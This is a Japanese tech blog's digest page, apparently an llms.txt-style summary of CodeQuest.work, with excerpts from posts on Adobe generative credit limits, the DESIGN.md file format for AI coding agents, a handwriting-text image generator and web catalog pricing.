# CodeQuest.work — 詳細版 > WEBエンジニアのための実践テックガイド > サイトURL: https://codequest.work/ ## 運営者情報 - 運営者: [今井政和](https://x.com/imai_director)（フロントエンドエンジニア / フリーディレクター） - チーム: [DIRECTORS TEAM RINIA](https://rinia.work/) - X: [x.com/imai_director](https://x.com/imai_director) - GitHub: [github.com/masakazuimai](https://github.com/masakazuimai) ## Sitemaps - [XML Sitemap](https://codequest.work/wp-sitemap.xml) ## 投稿 ### [Fireflyは自分の契約でどこまで使えるか｜生成クレジットの上限と超過後](https://codequest.work/adobe-generative-credits-guide/) 生成クレジットとは、Adobeの生成AI機能を使うたびに減っていく、月ごとの持ち点です。付与数は契約しているプランで決まります。Creative Cloud Proは毎月4,000、Creative Cloud Standardと2025年6月17日以降に契約した単体プランは毎月25です（2026年9月11日時点のAdobe公式の記載）。 Adobeを契約しているのに、Fireflyが自分の契約で使えるのかがはっきりしない。生成塗りつぶしを何度か試したところで止まった。プラン表に並ぶ「4,000」と「25」が、自分の使い方に換算して何回分なのかが分からない。この不透明さは、プラン名が2025年に大きく変わったことと、機能ごとに消費量が違うことの2つから来ています。 この記事では、プラン別の付与数、機能ごとの消費量、使い切ったあとに何ができるかを、Adobe公式の記載だけを根拠に整理します。あわせて、Adobe公式のページ同士で数字が食い違っている箇所も、確認できた事実としてそのまま示します。数値はすべて2026年9月11日に取得したものです。 生成クレジットとは何か 生成クレジットは、PhotoshopやIllustrator、Premiere、Firefly上の生成AI機能を動かすための通貨です。毎月決まった数が配られ、機能を使うたびに引かれます。ここで最初に押さえるべきなのは、すべての生成AI機能が同じ量を消費するわけではないという点です。Adobeは機能を「標準生成機能」と「プレミアム生成機能」の2つに分けています。 Adobeは、Photoshopの生成塗りつぶしなどの標準生成AI機能は「生成ごとに1クレジットを消費する」のに対し、動画生成などのプレミアム生成AI機能は「使用ごとにより多くの生成クレジットが必要になる」と説明しています（Creative Cloud 生成 AI 機能／2026年8月17日更新）。 区分代表的な機能1回あたりの消費標準生成機能生成塗りつぶし、生成拡張、背景を生成、画像を生成、テキストからベクター生成、生成再配色1クレジットプレミアム生成機能動画を生成、Premiereの生成延長、動画・音声の翻訳、効果音を生成、音楽を生成、Firefly Image 4 Ultra10〜175クレジット（条件による） この2区分が効いてくるのは、上位プランでの扱いが違うからです。Adobeの「生成クレジット FAQ」は、Creative Cloud Pro・Firefly・クレジットプランの利用者は標準生成に無制限にアクセスでき、クレジットはプレミアム生成機能にのみ使用されると説明しています。つまりProの4,000という数字は「プレミアム機能用の予算」であって、生成塗りつぶしの回数制限ではありません。 自分のプランの付与数を確かめる 付与数はプランごとに決まっています。さらに、同じプラン名でも契約を開始した時期で数字が変わるものがあります。2025年6月17日が境目です。 プラン別の月間付与数 プラン2025年6月17日より前に開始2025年6月17日以降に開始Creative Cloud Pro（旧 コンプリートプラン）プレミアム用4,000／標準は無制限同左Creative Cloud Standard2525単体プラン（Photoshop、Illustrator、Premiere、InDesign、After Effects ほか）50025フォト（1TB）1,0001,000Lightroom250250Adobe Express プレミアム250250Creative Cloud フォト（20GB）100100Photoshop モバイル版・web版100100Photoshop Express5025Firefly モバイル版・web版該当なし750 出典は生成クレジット FAQ（2026年8月24日更新）の「Creative Cloud 個人版プラン」表です。単体プランが500から25へ下がっている点に注意してください。古い契約のまま使い続けている人と、最近契約した人とで、同じプラン名でも20倍の差があります。 「25」はStandardだけの数字ではない 解説記事では「Standardは25、Proは4,000」という対比で語られがちですが、表を見ると分かるとおり25という数字はStandardと単体プランの両方に付いています。Illustrator単体プラン（3,280円／月・税込）とPremiere単体プラン（同額）のプラン比較ページでも、生成クレジットは25／月と記載されています。「25だから自分はStandardだ」とは判断できません。 プラン名そのものも変わっています。全アプリ版は現在「Creative Cloud Pro」で、Adobeは公式に「Creative Cloud Pro（旧 Creative Cloud コンプリートプラン）」と表記しています。個人向けの階層はProとStandardの2つで、Standardは6,480円／月（税込・年間プラン月々払い）、Proは通常9,080円／月（同）です。プラン名の移り変わりについてはAfter Effectsの始め方｜必要スペックと費用の判定でも触れています。 Photoshopだけ、公式の中で数字が食い違っている ここは断定を避けたい箇所です。Photoshopの生成クレジット数は、Adobe公式の2つのページで違う数字が書かれています。2026年9月11日時点で、どちらも現行ページとして公開されています。 ページPhotoshopの生成クレジット最終更新日生成クレジット FAQ（単体プランの行）25／月2026年8月24日Photoshopのメンバーシッププランと価格毎月250表示なし どちらが実態に近いかを見分けるために、他の単体プランを同じ方法で確認しました。Illustratorのプラン比較とPremiereのプラン比較は、いずれも25／月でFAQと一致します。食い違っているのはPhotoshopだけです。 もう一つ手がかりがあります。Photoshopの単体プランだけ価格も違います。IllustratorやPremiereが3,280円／月なのに対し、Photoshopは3,300円／月で、比較表には「Firefly web版、モバイル版」が含まれています。Firefly同梱の別構成に切り替わっていて、FAQ側の表が追いついていないと読むのが自然です。ただしAdobeはこの2つを明示的に結びつけていないため、ここは「公式の中で割れている」と理解しておくのが正確です。 実務上の結論はシンプルです。数字を信じる前に、自分のアカウント画面で残数を見てください。後述する確認手順のとおり、Adobeアカウントのプラン画面には今月の残クレジットが表示されます。Photoshopをこれから学ぶ人向けの費用の考え方はPhotoshopの独学ロードマップにまとめています。 標準生成機能はどこまで回せるのか 日常のレタッチで使う機能の多くは標準生成機能に入ります。Adobeが標準として挙げているのは次のとおりです。 Photoshop：生成塗りつぶし、生成拡張、背景を生成、画像を生成、類似を生成、生成アップスケール、調和 Illustrator：テキストからベクター生成、パターンを生成、生成塗りつぶし（シェイプ）、生成再配色、プロンプトで編集 Lightroom：生成拡張 Premiere：標準生成機能は該当なし（生成延長はプレミアム側） 原則は1生成につき1クレジットですが、例外が2つあります。Photoshopの「調和」は標準機能ながら1生成5クレジット、Firefly版の生成アップスケールは出力サイズ次第で1クレジット以上を消費します。Premiereに標準機能が無い点も見落としやすい部分で、動画側は最初からプレミアム扱いです。 Creative Cloud Pro、有料のFireflyプラン、クレジット追加プランの利用者は、この標準生成に無制限でアクセスできます。Standardや単体プランの25は、標準生成にも使われる持ち点です。生成塗りつぶしを25回で使い切る計算になります。 プレミアム生成機能は1回でどれだけ減るのか 動画と音声は秒単位で消費します。ここが25という持ち点と決定的に噛み合いません。Adobeが公表している主な単価は次のとおりです。 機能条件消費クレジット動画を生成1080p（24FPS）1秒あたり100720p（24FPS）1秒あたり50540p（24FPS）1秒あたり20Premiereの生成延長4K（30FPS）1秒あたり1751080p（24FPS）1秒あたり100720p（24FPS）1秒あたり50動画を翻訳／音声を翻訳—1秒あたり5効果音を生成48kHz1回あたり10音楽を生成—1分あたり20スピーチを生成Firefly Speech1,000文字あたり10Firefly Image 4 Ultra1回1画像1回あたり20Firefly Image 5—1回あたり10Fireflyカスタムモデル（Beta）トレーニング／生成500／20 Adobeの公表値では、Premiereの生成延長は1080p（24FPS）で1秒あたり100クレジット、4K（30FPS）では1秒あたり175クレジットを消費します。4Kの生成延長は1秒でProの月間予算の4%以上を使う計算で、Standardや単体プランの25では0.15秒分にも届きません。 25クレジットで実際に何ができるか 単価表を月25クレジットに当てはめると、使い道の輪郭がはっきりします。1つの機能に全部を振り向けた場合の上限です。 やりたいこと25クレジットでの上限生成塗りつぶし・生成拡張25回Photoshopの「調和」5回Firefly Image 5 で画像生成2回（5クレジット残る）Firefly Image 4 Ultra で画像生成1回（5クレジット残る）効果音を生成2回（5クレジット残る）動画・音声の翻訳5秒分動画を生成（540p）1.25秒分Premiereの生成延長（4K30FPS）0.14秒分＝実質不可 この換算から言えるのは、25という枠は静止画の軽い補正を月に何度か行うための枠であって、動画のプレミアム機能を回すための枠ではないということです。動画生成を業務で使うつもりなら、契約の見直しは避けられません。写真から動画を作る工程を無料枠だけで進めた記録は生成AIで写真から動画を作る｜無料枠で3本作って本番サイトに載せたにあります。 なお、プレミアム機能へのアクセスが含まれないプランでも、Adobeは「2回の無料ビデオ生成と40秒のビデオおよびオーディオクリップの翻訳」を試せると案内しています。契約を変える前に、この無料分で出力の質を確かめておくと判断が早くなります。 クレジットを使い切ったらどうなるか ここは誤解が多い部分です。「使い切っても速度が落ちるだけで使い続けられる」という説明は、2026年9月11日時点のAdobe公式には見当たりません。公式が示している答えは2つだけです。 Adobeは「クレジットが不足している場合、翌月に生成クレジットの残高がリセットされるまで待つか、Fireflyまたはクレジットアドオンプランを通じて追加購入することができます」と説明しています（生成クレジットへのアクセスと使用／2026年8月24日更新）。 ただしFireflyの有料プランを契約している場合は例外があります。アドビのFireflyプラン比較ページは「有料のAdobe Fireflyプランでは、生成クレジットを使い切った後も、標準的な生成機能は引き続き無制限で利用できます」と明記しています。止まるのはプレミアム機能だけで、生成塗りつぶしのような標準機能は動き続けます。 ### [DESIGN.mdとは｜AIが作るUIを「それっぽい」で終わらせない設計ファイル](https://codequest.work/design-md-guide/) DESIGN.mdとは、AIコーディングエージェントにデザインの判断基準を渡すためのファイル仕様です。色・書体・余白・角丸といった値を機械可読なトークンとして書き、その値がなぜその値なのかという設計意図を同じファイルの本文に書きます。Google Labsが2026年4月10日に公開し、Apache-2.0で運用されています。 AIにUIを作らせると、動くものは出てくるのに、どれも同じ顔つきになる。角丸のカード、紫のグラデーション、中央寄せのヒーロー。指示のたびに配色が変わり、前回と揃わない。原因はAIの能力ではなく、判断基準を渡していないことにあります。プロンプトに書いた「もう少し落ち着いた色で」は、その会話が終われば消えます。次のセッションのAIは、あなたが何を良しとしたのかを知りません。 この記事では、DESIGN.mdの中身と書き方を公式仕様に沿って整理し、そのうえで書いたファイルが本当に機能しているかを検証する手順まで踏み込みます。公式CLIを実際に動かした出力も載せました。仕様・CLI・カタログの価格はいずれも2026年9月10日時点のものです。 DESIGN.mdとは何か DESIGN.mdは、デザインシステムを1枚のプレーンテキストで表現するための書式です。公式仕様の説明では「デザインセッションをまたいでも、異なるAIエージェントやツールの間でも、様式上の選択が引き継がれるようにするもの」と位置づけられています。人間とAIの両方が読めて、更新していける「生きた正本」という考え方です。 現在の状況を数字で押さえておきます。 項目実際の値提供元Google Labs（google-labs-code/design.md）公開日2026年4月10日ライセンスApache-2.0GitHubスター27,812（フォーク2,277）仕様バージョンalpha公式CLI@google/design.md 0.4.0（2026年7月27日公開） スター数とフォーク数はGitHub APIで2026年9月10日に取得した値、CLIのバージョンはnpmレジストリで確認した値です。仕様バージョンがalphaである点は最初に押さえておいてください。公式リポジトリのStatus節に「仕様・トークンスキーマ・CLIはいずれも開発中で、書式は今後変わることを想定してほしい」と明記されています。 人が読むガイドラインとは目的が違う 従来のデザインガイドラインは、人が読んで判断するための資料でした。PDFやFigmaのページに、ロゴの余白規定やカラーコードが並んでいる形です。DESIGN.mdが違うのは、読み手がエージェントであることを前提に構造を決めている点です。値は決まった形式のトークンとして置き、意図は散文で置く。仕様はこの二層について「トークンが規範値であり、散文はそれをどう適用するかの文脈を与える」と役割を明確に分けています。 逆に言えば、デザインの意図を自分の言葉で説明できない段階では、このファイルは書けません。「なんとなく良い」を「なぜ良いのか」に変換する作業が先に必要です。その練習はデザインを言語化する練習帳｜“なぜ良いのか”を説明できる力を鍛えようで扱っています。 読めるツールに条件はほぼない 特別な連携やプラグインは要りません。実体はプロジェクトルートに置かれたMarkdownファイルなので、ルート直下のMarkdownを読み込む仕組みを持つツールであれば、そのまま参照できます。Claude Code、Cursor、Gemini CLI、Codex、Windsurf、Kiroなどが該当します。専用のAPIに依存しないことが、この書式が短期間で広まった理由の一つです。 なぜAIが作るUIは「それっぽい」で止まるのか 原因は3つに分けられます。どれもプロンプトの書き方では解決しません。 症状原因DESIGN.mdが担当する部分セッションごとに配色が変わる指示が会話の中にしかなく、次回に残らない値をファイルとして固定する値は合っているのに雰囲気が違う「なぜその値か」が伝わらず、未定義の場面で外れる設計意図を散文で渡すどこも同じテンプレ顔になる基準がないため学習データの平均値に寄るブランド固有の判断を明文化する 2つ目が実務では一番厄介です。カラーコードを渡しても、AIは「この色をどこに使うか」を知りません。primaryを渡せば、ボタンにも見出しにも背景にも使ってきます。仕様がOverview節を最初に置き、ブランドの人格や想定読者、UIが呼び起こすべき感情を書かせているのは、トークンが定義していない場面での判断材料を先に渡すためです。 1回のプロンプトで結果をどこまで動かせるかについてはAIとの協働コーディング入門｜プロンプトの書き方で結果が変わる理由で検証しています。DESIGN.mdはその上のレイヤー、つまり毎回書かなくても効き続ける前提を担当します。 中身は二層構造になっている ファイルの構造は単純です。先頭にYAMLフロントマター（機械可読なトークン）を置き、その下にMarkdown本文（設計意図）を書きます。フロントマターは省略可能で、本文だけのDESIGN.mdも仕様上は成立します。 最小構成に近い例です。公式リポジトリのサンプルを短く整えたものです。 --- name: Heritage colors: primary: "#1A1C1E" secondary: "#6C7278" tertiary: "#B8422E" neutral: "#F7F5F2" typography: h1: fontFamily: Public Sans fontSize: 3rem body-md: fontFamily: Public Sans fontSize: 1rem rounded: sm: 4px md: 8px spacing: sm: 8px md: 16px --- ## Overview 建築的なミニマリズムと、報道写真のような重み。マットな高級紙の 質感を狙う。 ## Colors 高コントラストのニュートラルと、単一のアクセント色で構成する。 - **Primary (#1A1C1E):** 見出しと本文に使う深いインク色 - **Secondary (#6C7278):** 罫線・キャプション・メタ情報に使う - **Tertiary (#B8422E):** インタラクションの唯一の担い手 - **Neutral (#F7F5F2):** 純白より柔らかい下地 注目してほしいのは、本文側で色に説明的な呼び名と用途が与えられている点です。トークン側はtertiaryという機械的な名前ですが、本文では「インタラクションの唯一の担い手」と役割が書かれています。この一文があるかどうかで、AIが2つ目のボタンに何色を使うかが変わります。 トークンの設計はW3CのDesign Tokens Formatを参照しており、tokens.json・Figmaの変数・Tailwindのテーマ設定と相互変換できる形に寄せられています。既存のデザイントークンがある環境なら、ゼロから作り直す話にはなりません。 セクションは8つ、順番も決まっている 本文のセクションは##見出しで書きます。関係ないセクションは省略してよいのですが、置くなら仕様の順番に従うという制約があります。順番を崩すとリンターが警告を出します。 順セクション（別名）何を書くか対応トークン1Overview（Brand & Style）ブランドの人格・想定読者・UIが呼び起こすべき感情―2Colorsパレットと各色の役割。primaryは必須colors3Typography書体と階層。一般に9〜15段階typography4Layout（Layout & Spacing）グリッドか余白か、間隔の刻み方spacing5Elevation & Depth階層をどう表すか。影を使わないならその代替―6Shapes角の丸め方と形の言語rounded7Componentsボタン・チップ・入力欄などの部品指定components8Do's and Don'tsやること・やらないことのガードレール― Elevation & Depthの扱いが親切です。影を使わないフラットな設計でも「この節は不要」ではなく、階層を何で表しているか（罫線か、色のコントラストか、面の重ね方か）を書くことが求められます。書かなければAIは影を足してきます。 省略するセクションがあるなら、フロントマターのomittedで宣言できます。理由も添えられるので、「書き忘れ」と「意図した省略」を区別できます。 omitted: - spacing - section: rounded reason: "ブランドブックに角丸の規定がないため" 逆に、同じ見出しが2回出てくるとエラーになりファイルごと拒否されます。仕様は未知の内容にはおおむね寛容で、知らないセクション見出しや知らないトークン名は「保持する・エラーにしない」と定めていますが、見出しの重複だけは明確に不可とされています。コピー＆ペーストでColors節を2つ作ってしまう事故が一番起きやすいところです。 トークンで詰まりやすい3点 参照は波括弧、指す先は原則プリミティブ値 他のトークンを指すときは{colors.primary}のように波括弧で囲みます。ほとんどのトークン群では、参照先は単一の値でなければなりません。{colors}のようにグループを指すのは不可です。例外はcomponents節で、ここだけは{typography.label-md}のような複合値への参照が許されています。 components: button-primary: backgroundColor: "{colors.primary-60}" textColor: "{colors.primary-20}" rounded: "{rounded.md}" padding: 12px button-primary-hover: backgroundColor: "{colors.primary-70}" hoverやactiveのような状態は、button-primary-hoverのように関連する別キーとして並べるのが仕様の想定です。入れ子にはしません。エージェント側が全バリアントを見て判断します。 単位はpx・em・remの3つだけ 寸法を表すDimension型で使える単位はpx・em・remに限られます。vwや%、chは入りません。流体的なサイズ指定を普段から使っている場合、その考え方はトークンではなくLayout節の散文側に書くことになります。 色は逆に広く、16進数・名前付きの色・rgb()・hsl()・oklch()・color-mix()まで有効なCSS色文字列であれば通ります。ただしコントラスト検査のために内部でsRGBへ変換されるため、推奨は#RRGGBBの16進数です。行間だけは例外的に、単位なしの数値（1.6）も書けます。 綴りを間違えたキーは黙って無視される これが一番気づきにくい罠です。トップレベルのキーをcoloursと書いてしまっても、YAMLとしては正しいのでパースは通ります。しかし仕様が知っているキーではないため、エクスポート時には黙って捨てられます。値は書いてあるのに効かない、という状態になります。 後述する公式CLIには、この綴り間違いを名指しで指摘するルールが2つ入っています。手で見つける前提にしないでください。 CLAUDE.md・AGENTS.md・SKILL.mdとの役割分担 AIに渡す定義ファイルは増え続けています。混ざりやすいので、どのファイルが何を担当するかだけ地図として置いておきます。書き方の詳細はそれぞれの記事に譲ります。 ### [手書き風文字ジェネレーター｜PNG・SVGで書き出せる無料ツール](https://codequest.work/handwriting-text-generator-tool/) 手書き風文字ジェネレーターとは、入力した文字を手書きの書体で描き直し、PNG・JPG・SVGの画像として書き出せる無料のブラウザツールです。会員登録もインストールも不要で、ブログのアイキャッチやYouTubeのサムネイル、SNS投稿に使えるサイズをテンプレートから選べます。縦書き、原稿用紙、罫線ノートにも対応しています。 手書き風のフォントを入れてみたのに、思ったほど手書きに見えなかった。そんな経験はないでしょうか。原因は書体ではなく並び方にあります。フォントは1文字ずつ決まった幅で、定規で引いたようにまっすぐ並びます。人が書いた文字は、行が少し傾き、途中でゆるく波打ち、1字ごとに大きさも角度もばらつきます。書体だけを手書きにしても、その並びの規則正しさが残っている限り、印刷物の顔つきから抜けられません。 この記事では、このツールでできることと使い方を先に整理し、そのうえで並びをどう崩せば手書きに見えるのかという仕組みまで踏み込んで説明します。書き出し形式の使い分けと、書体の商用利用についてもまとめました。ツールの仕様は2026年9月10日時点のものです。 手書き風文字ジェネレーターとは このツールは「文字を画像にする」ことに絞ったツールです。書体を探すためのものでも、サイトに手書きフォントを読み込むためのものでもありません。入力した文章をその場で描画して、画像ファイルとして手元に落とすところまでを担当します。 そのため、次のような場面が向いています。 ブログのアイキャッチに、手書きのひとことを載せたい YouTubeのサムネイルの文字を、印刷物っぽくない見た目にしたい スライドや資料に、注釈風の書き込みを足したい 引用や詩を、原稿用紙の縦書きで画像にしたい サンクスカードや付箋メモの画像を、手書きを撮影せずに用意したい 逆に、書体そのものをサイトの本文に使いたい場合は、画像ではなくWebフォントとして読み込む必要があります。その手順はGoogleフォントおすすめ日本語・英語14選【2026年版】導入方法も解説にまとめてあります。 このツールでできること 調整できる項目は大きく4つに分かれています。左の操作パネルもこの順に並んでいます。 区分できること文字書体の選択、横書きと縦書きの切り替え、文字サイズ・行間・字間・余白紙とペン無地・罫線・方眼・原稿用紙・レポート用紙・付箋・透過の切り替え、ボールペン・万年筆・サインペン・マーカー・鉛筆の切り替え、インク色と紙の色、紙の傾き手書きらしさ行の傾き、行のうねり、字ごとの傾き・位置・大きさの揺らぎ、線の太さ、揺らぎのパターン書き出し用途テンプレート、キャンバスサイズの指定、はみ出し時の自動縮小、PNG・JPG・SVG、書き出し倍率 収録している書体は、日本語が5種類、英字が5種類です。日本語の書体でも英数字は描けるので、迷ったら日本語の書体を選んでおけば失敗しません。 書体言語雰囲気Yomogi日本語ゆるい手書き。力の抜けた印象Zen Kurenaido日本語ペン字風。落ち着いた実用的な手書きYusei Magic日本語マジック風。線が太く目立つHachi Maru Pop日本語丸文字。かわいらしい方向Klee One日本語硬筆・楷書。手書きの中では最も端正Caveat英字速く書いたメモのような筆致Indie Flower英字丸みのあるカジュアルな手書きPatrick Hand英字読みやすく整った手書きArchitects Daughter英字製図の書き込み風Kalam英字細めで軽い筆記体寄り ペンは5種類あり、線の太さだけでなく字ごとの太さのムラと濃さのムラが書体とは別に乗ります。万年筆は太さのムラが大きく濃淡も出ます。マーカーはにじみ、鉛筆はかすれが加わります。ボールペンだけはムラなしの均一な線で、文字の形をそのまま見せたいときに使います。 使い方は3ステップ 最短の手順は次の3つです。細かい操作は使い方・FAQページにまとめてあるので、ここでは流れだけ押さえます。 文章を入力する。改行するとそのまま行が分かれます。長い1行より、自分で改行を入れた方が仕上がりを制御しやすくなります 用途テンプレートを選ぶ。アコーディオンを開いて選ぶと、キャンバスサイズと紙・ペン・組み方向がまとめて切り替わります 書き出す。PNG・JPG・SVGのボタンを押すとその場で保存されます。書き出し倍率は1倍・2倍・3倍から選べます 最初に書体を切り替えたときだけ、読み込みに少し時間がかかります。日本語の書体はファイルが大きく、ツールの表示で3.1MBから8.7MBあります。英字の書体は0.1MBから0.4MB程度なので一瞬で切り替わります。同じ書体を選び直したときはキャッシュから読むため、2回目以降は待ち時間がありません。 手書き風文字ジェネレーターを開く なぜ手書き風フォントを当てるだけでは手書きに見えないのか ここからは仕組みの話です。手書きらしさは、1文字ずつをランダムに揺らしても出ません。むしろ、1字ごとに独立した乱数で回転させると、切り抜いた文字を貼り合わせた脅迫状のような見た目になります。人が書いた文字の乱れには構造があるからです。 行の流れが先にあり、手の震えはその上に乗る 罫線のない紙に書くと、行はまず全体として斜めに流れます。そして書き進むうちに、ゆるい波を描いて上下します。1字ごとのばらつきは、その流れの上に重なる細かい震えです。順番が逆ではありません。 このツールも同じ順序で組み立てています。まず行ごとに「傾き」と「うねりの波」を決め、各文字はその曲線の上に置かれます。ここで効いているのが、文字を波の接線の角度に合わせて傾けている点です。行が上がっていく場所では文字も上向きに、下がる場所では下向きに寝ます。実際の手書きで、行が流れると文字の軸も一緒に倒れるのと同じ動きです。 そのうえで、字ごとの微揺れが3種類乗ります。操作パネルの「傾きの揺らぎ」「位置の揺らぎ」「大きさの揺らぎ」がそれです。行の傾き・うねりを先に決めてから、字ごとの揺らぎを少しだけ足すのが、自然に見せるときの配分になります。字ごとの揺らぎを上げすぎると、行の流れが揺らぎに埋もれて、また脅迫状の方向へ戻ってしまいます。 同じ揺らぎを何度でも呼び戻せる 揺らぎは完全な乱数ではなく、「揺らぎのパターン」の番号から決まる疑似乱数で作られています。番号を変えれば別の崩れ方になり、番号を戻せば前とまったく同じ崩れ方が戻ってきます。気に入った崩れ方を番号で覚えておけば、あとから文字色やサイズだけを変えて同じ表情のまま作り直せます。 細かい話ですが、空白文字のところでも乱数を同じ回数だけ空回しする作りになっています。1文字が使う乱数の個数を空白でも揃えておかないと、文中にスペースを1つ足しただけで、それ以降の文字の揺らぎが全部入れ替わってしまうためです。文章を少し直すたびに全体の表情が変わるのでは、番号で再現できる意味がなくなります。 かすれを「網点」に見せない 鉛筆を選ぶと線がかすれます。これは文字の上からノイズで削って作っていますが、一様なノイズで削ると、かすれではなく印刷の網点に見えます。粒が均等に散らばってしまい、紙の凹凸で墨が乗らなかった感じが出ません。 そこで、粗い濃淡のむらを先に作っておき、そのむらで「削る確率」を場所ごとに変えています。こうすると抜けが塊で発生し、線の一部がまとめて薄くなります。実際の鉛筆のかすれも、点が均等に抜けるのではなく、ある区間だけ乗りが悪くなる形で出ます。 原稿用紙を選ぶと、組み方そのものが変わる 紙の切り替えは、背景の絵を差し替えているだけではありません。原稿用紙を選ぶと、文字の組み方が等幅に変わります。1マスに1文字ずつ、字の幅に関係なく同じ間隔で送られ、それぞれの文字はマスの中央に寄せて置かれます。原稿用紙なのに文字が詰まったり空いたりしていると一目で嘘に見えるため、ここは組み方から切り替える必要があります。 罫線とマス目の位置にも同じ考え方が入っています。罫線は文字の位置を基準に引かれます。紙の上に固定の罫線を描いてから文字を乗せるのではなく、組み上がった行に合わせて線を並べるため、キャンバスサイズを固定しても行と罫線がずれません。 縦書きに切り替えると、行は右から左へ列として積まれ、うねりは左右方向に出ます。原稿用紙との組み合わせが、引用や詩を画像にするときの定番です。用途テンプレートの「縦書きの引用」は、この組み合わせが最初から入った状態で開きます。 PNG・JPG・SVGの使い分け 迷ったときの基準は次のとおりです。 形式選ぶ場面注意点PNG背景を透過させたい。写真やデザインの上に重ねる大きいサイズだとファイルが重くなるJPG写真と一緒に扱う。ファイルを軽くしたい透過を持てない。紙を「なし」にしても紙の色で塗られるSVGあとから拡大する。印刷する。デザインツールで加工するにじみ・かすれのあるペンだけは細部が変わる 3つの見た目が一致する理由 画像に文字を描くとき、多くの実装はブラウザに「この書体でこの文字を描いて」と指示します。この方式は手軽ですが、SVGで書き出したときに困ります。SVGの中には文字コードと書体名しか残らないため、その書体を持っていない環境で開くと別の書体に置き換わって崩れます。 このツールは別の道を通ります。書体ファイルを直接読み込んで解析し、1文字ずつを「輪郭の線」に変換してから描いています。文字ではなく図形として扱うわけです。使っているのはopentype.jsというライブラリで、ライセンスはMITです。 この変換を先に済ませておくと、画面表示・PNG・JPG・SVGのすべてが同じ輪郭データから描かれます。プレビューで見たものがそのまま書き出されるのはこのためです。書き出したSVGの中身は、おおよそ次のような形になります。 <svg xmlns="http://www.w3.org/2000/svg" width="1200" height="630" viewBox="0 0 1200 630"> <rect x="0" y="0" width="1200" height="630" fill="#fffdf7"/> <g fill="#2b3a4a" stroke="#2b3a4a" stroke-linejoin="round" stroke-linecap="round"> <path d="M120.34 210.5C118.7 209.2 ..." stroke="none"/> <path d="M186.02 208.7C184.4 207.6 ..." stroke="none"/> </g> </svg> 座標の桁は省略していますが、構造はこのとおりです。text要素もfont-familyの指定も現れず、1文字ごとにpathが並びます。書体名がどこにも書かれていないので、その書体を持っていない相手に渡しても同じ見た目で開けます。 SVGはIllustratorやFigmaでそのまま編集できる 輪郭になっているということは、デザインツール側ではパスとして扱えるということです。色を変える、線を足す、一部だけ動かす、他の図形と組み合わせる、といった加工が普通にできます。文字としては編集できませんが、アウトライン化した文字を受け取ったときと同じ状態だと思えば扱いに迷いません。 WordPressのメディアライブラリにSVGを上げたい場合は、初期状態ではアップロードが許可されていないため設定が必要です。手順はWordPressでSVGをアップロードする方法｜プラグインとコードの両方にまとめてあります。 にじみ・かすれのあるペンだけは例外 マーカーと鉛筆を選んだときだけ、SVGとPNGで細部が一致しません。 ### [WEBカタログ制作の費用相場｜デジタルカタログの作り方と依頼先の選び方](https://codequest.work/web-catalog/) WEBカタログとは、紙のカタログをブラウザ上でページをめくるように閲覧できるようにしたコンテンツです。電子カタログ、デジタルカタログ、デジタルブック、デジタルパンフレットも、指しているものは同じです。専用アプリを入れなくても、パソコンからもスマートフォンからもURLひとつで開けます。 ところが「WEBカタログを作りたい」と調べ始めると、いきなり見積もりの桁が合いません。数千円で作れると書いてある会社もあれば、十数ページで七十万円を提示する会社もあります。どちらも嘘ではなく、そもそも売っているものが違うのですが、その違いを説明しているページがほとんどありません。 この記事では、まず呼び方と紙カタログとの違いを整理し、そのうえで費用の相場を「PDFをWEBカタログ化する型」と「カタログそのものを作る型」に分けて示します。あわせて、当サイトの運営元が実際に提供しているWEBカタログ制作の料金表と、依頼先を選ぶときに確認しておきたい点までをまとめました。相場の数値は各社が公開している料金ページを2026年9月8日に確認したものです。 WEBカタログとは — 電子カタログ・デジタルブックとの違い 先に結論を書くと、WEBカタログ・電子カタログ・デジタルカタログ・デジタルブック・デジタルパンフレットは、すべて同じものを指す言い換えです。機能や仕組みが違うわけではなく、業界や会社によって呼び名が分かれているだけです。カタログ制作を専門とするカタログjpも、Webカタログを「Web上で紙のカタログを見ることができるようにしたコンテンツ」と定義したうえで、デジタルカタログ・電子カタログと同義であると説明しています。 呼び方によってニュアンスが少しずつ違うので、社内で話が噛み合わないときは下の表で読み替えてください。 呼び方よく使われる場面指しているものWEBカタログ製造業・商社の製品カタログ同じ電子カタログ官公庁・大手企業の資料同じデジタルカタログ制作会社の商品名として最多同じデジタルブック社内報・広報誌・書籍系同じデジタルパンフレット学校案内・観光・不動産同じ ひとつだけ区別しておきたいのが、「PDFをそのままサイトに置くこと」はWEBカタログではないという点です。PDFを直接開かせる方式は、スマートフォンでは表示までに時間がかかり、拡大縮小の操作も端末のビューアまかせになります。ページをめくる操作感や目次からの移動を用意して、閲覧そのものを設計したものがWEBカタログです。 紙カタログとWEBカタログの違い WEBカタログは紙カタログの置き換えとして語られがちですが、実務ではどちらか一方を選ぶより、紙を刷る部数を絞ってWEBカタログを併用する形に落ち着くことが多くなります。両者の性質は次のように違います。 観点紙カタログWEBカタログ部数を増やすコスト部数に比例して増える何人が見ても変わらない在庫・保管置き場所と管理の手間が要る不要誤記の修正刷り直しか正誤表の同封差し替えれば全員に反映される渡し方手渡し・郵送URL・QRコード・メールどこを見られたか把握できないアクセス解析で分かる手元に残る強さ置いてもらえれば強いブックマークされないと戻ってこない初期費用印刷費がまとまってかかる制作費のみ 効果が出やすいのは、改訂が多い商品カタログと、送付先が読めない資料です。価格や仕様が変わるたびに刷り直していたものはWEBカタログ化で修正コストがほぼ消えますし、展示会やWebフォームから請求される資料は、郵送を待たせずにその場でURLを渡せます。 逆に、紙をやめない方がよい場面もあります。商談の場でその場に広げて指し示す使い方や、店頭で持ち帰ってもらう導線は、紙の方が確実です。WEBカタログの判断は「紙をやめるかどうか」ではなく「刷る部数を何部まで減らせるか」で考えると失敗しにくくなります。 WEBカタログでできること WEBカタログの機能はサービスによって差があります。ここでは当サイトの運営元が提供しているビューアを例に、標準で使えるものとオプションになるものを分けて示します。見積もりを比較するときは、「どこまでが標準で、どこからが追加費用か」を機能単位で確認してください。 機能内容扱いページめくりページの角をドラッグして紙のようにめくる標準ズーム細かい仕様表や注記を拡大して読む標準サムネイル一覧全ページを一覧表示して目的のページへ飛ぶ標準付箋気になったページに付箋を貼って後から一覧で戻る標準メモ閲覧しながら書き込み、次に開いたときも残る標準スマートフォン対応縦向き・横向きの両方でレイアウトが切り替わる標準アクセス解析どのページがどれだけ見られたかを計測する標準クリッカブルエリア誌面の商品や広告から自社サイトへリンクさせるオプションデザインの変更ビューアの配色や操作パネルを自社仕様にするオプション全文検索・PDFダウンロード動画埋め込み・パスワード保護誌面内の文字検索、PDFの配布、動画再生、閲覧制限標準では非対応（個別見積もり） 